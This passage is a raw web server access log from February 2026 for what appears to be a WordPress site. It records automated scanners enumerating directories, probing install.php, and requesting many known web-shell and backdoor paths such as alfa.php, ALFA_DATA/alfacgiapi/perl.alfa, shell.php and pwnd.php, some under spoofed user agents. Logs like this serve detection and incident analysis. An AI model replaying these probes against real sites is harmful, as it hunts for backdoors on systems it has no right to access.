94.198.40.116 - - [10/Feb/2026:21:49:38 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:18 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:38 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:42 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:42 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:43 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:43 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 43.166.242.189 - - [10/Feb/2026:22:44:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 94.198.40.116 - - [10/Feb/2026:21:41:23 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:42 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:43:35 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:43:44 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:44:45 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:45:08 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:46:43 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:48:30 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:47 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:27 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:35 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:44:34 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:46:30 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:25 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:25 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:25 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:26 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:26 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:26 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:26 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:27 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:27 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:48:00 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:20 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:21 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:58 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 51.68.107.156 - - [10/Feb/2026:23:14:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.107.156 - - [10/Feb/2026:23:14:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 203.159.90.231 - - [10/Feb/2026:23:14:51 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.159.90.231 - - [10/Feb/2026:23:14:51 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.159.90.231 - - [10/Feb/2026:23:15:28 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.159.90.231 - - [10/Feb/2026:23:14:51 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 203.159.90.231 - - [10/Feb/2026:23:14:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 203.159.90.231 - - [10/Feb/2026:23:14:51 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.79.160 - - [11/Feb/2026:00:27:33 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 87.121.84.30 - - [11/Feb/2026:00:10:03 +0300] "GET /assets/admin/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 66.249.79.173 - - [11/Feb/2026:00:27:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.155.26.193 - - [10/Feb/2026:23:51:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 88.210.35.166 - - [11/Feb/2026:01:22:40 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 57.128.52.136 - - [11/Feb/2026:01:26:43 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "get_local:DCV" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 217.182.197.89 - - [11/Feb/2026:01:57:01 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 57.128.52.136 - - [11/Feb/2026:01:26:37 +0300] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 796 "-" "get_local:DCV" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [11/Feb/2026:02:09:34 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 122.51.236.174 - - [11/Feb/2026:02:37:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 101.33.66.34 - - [11/Feb/2026:05:18:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.164.197.224 - - [11/Feb/2026:06:14:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 178.128.213.223 - - [11/Feb/2026:06:30:12 +0300] "GET /blog/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:30:36 +0300] "GET /web/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:30:59 +0300] "GET /oldsite/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:29:49 +0300] "GET /wordpress/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:29:30 +0300] "GET /new/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:30:29 +0300] "GET /cms/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:30:52 +0300] "GET /site/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:29:56 +0300] "GET /test/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:30:45 +0300] "GET /backup/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:29:20 +0300] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:29:38 +0300] "GET /old/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 178.128.213.223 - - [11/Feb/2026:06:29:16 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.120.79.203 - - [11/Feb/2026:07:03:09 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:12 +0300] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:15 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:15 +0300] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:18 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:20 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:22 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:24 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:27 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:30 +0300] "GET /wp-admin/block-support.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:32 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:35 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:37 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:40 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:43 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:45 +0300] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:48 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:08:22 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:11:12 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:01:56 +0300] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 796 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:01:56 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:01:58 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:01:58 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:01:59 +0300] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:03 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:04 +0300] "GET /wp-includes/rest-api/fields/radio.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:07 +0300] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:09 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:11 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:13 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:15 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:17 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:24 +0300] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:27 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:29 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:31 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:35 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:37 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:40 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:43 +0300] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:46 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:49 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:03 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:05 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:08 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:11 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:13 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:16 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:18 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:36 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:39 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:13 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:17 +0300] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:01:50 +0300] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:23 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:24 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:27 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:30 +0300] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:34 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:36 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:41 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:55 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:04:59 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:54 +0300] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:56 +0300] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:00 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:02 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:05 +0300] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:08 +0300] "GET /wp-includes/block-support.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:11 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:15 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:46 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:49 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:52 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:55 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:08:56 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:09:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:11:34 +0300] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:11:34 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:17 +0300] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:48 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:49 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:08:43 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:09:15 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:11:23 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 91.202.4.80 - - [11/Feb/2026:07:17:24 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 51.120.79.203 - - [11/Feb/2026:07:01:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:23 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:06:27 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:21 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:22 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:29 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:53 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:55 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:58 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:00 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:34 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:37 +0300] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:43 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:08 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:36 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:39 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:42 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:49 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:10:52 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:03:54 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:05 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:05:21 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:08:13 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:35 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:37 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:41 +0300] 